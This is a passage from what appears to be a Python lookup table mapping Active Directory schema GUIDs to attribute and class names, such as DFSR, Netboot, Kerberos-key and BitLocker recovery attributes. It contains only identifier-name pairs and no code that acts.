'ms-DFSR-RootSizeInMb',\n\t'07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients',\n\t'3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object',\n\t'8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy',\n\t'250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet',\n\t'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class',\n\t'7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence',\n\t'86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath',\n\t'07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes',\n\t'3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL',\n\t'80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition',\n\t'9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol',\n\t'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time',\n\t'7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits',\n\t'250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb',\n\t'3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path',\n\t'1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server',\n\t'62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID',\n\t'90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration',\n\t'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count',\n\t'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name',\n\t'5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath',\n\t'07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients',\n\t'26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address',\n\t'57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy',\n\t'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc',\n\t'1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location',\n\t'7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List',\n\t'9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb',\n\t'2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File',\n\t'2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings',\n\t'516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL',\n\t'9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data',\n\t'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL',\n\t'03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled',\n\t'0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy',\n\t'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name',\n\t'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source',\n\t'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost',\n\t'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List',\n\t'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID',\n\t'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType',\n\t'0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU',\n\t'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address',\n\t'92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type',\n\t'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager',\n\t'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName',\n\t'2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret',\n\t'23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin',\n\t'07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL',\n\t'3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class',\n\t'0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted',\n\t'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork',\n\t'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time',\n\t'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History',\n\t'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter',\n\t'07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server',\n\t'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of',\n\t'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued',\n\t'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application',\n\t'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count',\n\t'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags',\n\t'93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter',\n\t'2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File',\n\t'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs',\n\t'1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id',\n\t'72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup',\n\t'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category',\n\t'80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference',\n\t'4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule',\n\t'0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools',\n\t'9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry',\n\t'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer',\n\t'860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation',\n\t'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute',\n\t'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID',\n\t'048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords',\n\t'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address',\n\t'963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description',\n\t'998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For',\n\t'7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap',\n\t'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate',\n\t'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name',\n\t'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags',\n\t'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store',\n\t'963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes',\n\t'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID',\n\t'8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role',\n\t'963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN',\n\t'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description',\n\t'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options',\n\t'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid',\n\t'5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root',\n\t'8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param',\n\t'904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject',\n\t'963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect',\n\t'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id',\n\t'1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid',\n\t'52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member',\n\t'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials',\n\t'1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID',\n\t'4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope',\n\t'963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages',\n\t'09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location',\n\t'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled',\n\t'52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL',\n\t'1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context',\n\t'30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param',\n\t'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device',\n\t'963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL',\n\t'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window',\n\t'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb',\n\t'19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List',\n\t'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname',\n\t'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length',\n\t'1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task',\n\t'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script',\n\t'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration',\n\t'2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath',\n\t'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members',\n\t'037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes',\n\t'615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length',\n\t'4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice',\n\t'9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name',\n\t'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold',\n\t'51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence',\n\t'3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain',\n\t'037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership',\n\t'26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData',\n\t'44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature',\n\t'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense',\n\t'28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time',\n\t'2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid',\n\t'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History',\n\t'037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object',\n\t'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version',\n\t'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases',\n\t'7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs',\n\t'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo',\n\t'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget',\n\t'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor',\n\t'037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID',\n\t'96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID',\n\t'3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings',\n\t'7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories',\n\t'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count',\n\t'261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference',\n\t'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name',\n\t'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class',\n\t'6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime',\n\t'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id',\n\t'7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id',\n\t'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours',\n\t'6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference',\n\t'26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category',\n\t'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags',\n\t'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime',\n\t'5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container',\n\t'963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object',\n\t'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation',\n\t'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL',\n\t'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class',\n\t'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain',\n\t'9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash',\n\t'36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info',\n\t'1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List',\n\t'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time',\n\t'5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL',\n\t'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category',\n\t'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain',\n\t'8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm',\n\t'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container',\n\t'2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates',\n\t'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count',\n\t'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority',\n\t'9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes',\n\t'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only',\n\t'3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity',\n\t'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User',\n\t'548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name',\n\t'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture',\n\t'817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath',\n\t'34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count',\n\t'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors',\n\t'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword',\n\t'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control',\n\t'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page',\n\t'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval',\n\t'53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb',\n\t'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid',\n\t'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number',\n\t'0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId',\n\t'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config',\n\t'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID',\n\t'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role',\n\t'5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly',\n\t'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid',\n\t'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier',\n\t'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId',\n\t'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account',\n\t'281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID',\n\t'80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy',\n\t'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy',\n\t'16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version',\n\t'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number',\n\t'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval',\n\t'1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy',\n\t'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID',\n\t'0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By',\n\t'4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin',\n\t'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information',\n\t'0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary',\n\t'888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership',\n\t'281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id',\n\t'0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects',\n\t'2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin',\n\t'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class',\n\t'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots',\n\t'55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules',\n\t'99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy',\n\t'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID',\n\t'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager',\n\t'43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword',\n\t'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax',\n\t'6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server',\n\t'86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy',\n\t'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings',\n\t'281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id',\n\t'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID',\n\t'85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid',\n\t'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid',\n\t'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country',\n\t'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy',\n\t'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation',\n\t'281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id',\n\t'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface',\n\t'1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage',\n\t'1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid',\n\t'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address',\n\t'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL',\n\t'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber',\n\t'281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID',\n\t'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By',\n\t'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid',\n\t'3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System',\n\t'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh',\n\t'5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL',\n\t'25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2',\n\t'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment',\n\t'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age',\n\t'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation',\n\t'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix',\n\t'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change',\n\t'0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled',\n\t'67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription',\n\t'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name',\n\t'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age',\n\t'0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data',\n\t'3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack',\n\t'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title',\n\t'693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types',\n\t'7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2',\n\t'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company',\n\t'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage',\n\t'6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type',\n\t'3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version',\n\t'16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime',\n\t'24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled',\n\t'7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings',\n\t'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed',\n\t'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age',\n\t'7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID',\n\t'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count',\n\t'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute',\n\t'9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1',\n\t'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor',\n\t'4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu',\n\t'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain',\n\t'8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir',\n\t'963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description',\n\t'26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name',\n\t'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2',\n\t'1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup',\n\t'6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights',\n\t'11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope',\n\t'2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root',\n\t'19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options',\n\t'26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type',\n\t'82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3',\n\t'21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2',\n\t'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost',\n\t'11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication',\n\t'51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier',\n\t'963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location',\n\t'8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf',\n\t'9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4',\n\t'64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content',\n\t'508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2',\n\t'5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code',\n\t'11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth',\n\t'7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String',\n\t'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name',\n\t'28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name',\n\t'2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5',\n\t'4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2',\n\t'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name',\n\t'11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob',\n\t'35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID',\n\t'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name',\n\t'80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes',\n\t'60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6',\n\t'4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet',\n\t'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2',\n\t'2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog',\n\t'11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo',\n\t'9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData',\n\t'28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus',\n\t'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming',\n\t'4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7',\n\t'2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp',\n\t'11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription',\n\t'0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved',\n\t'5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table',\n\t'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing',\n\t'3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8',\n\t'04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology',\n\t'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base',\n\t'2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext',\n\t'11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime',\n\t'94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID',\n\t'5fd424cf-1262-11d0-a060-00aa006c33ed': 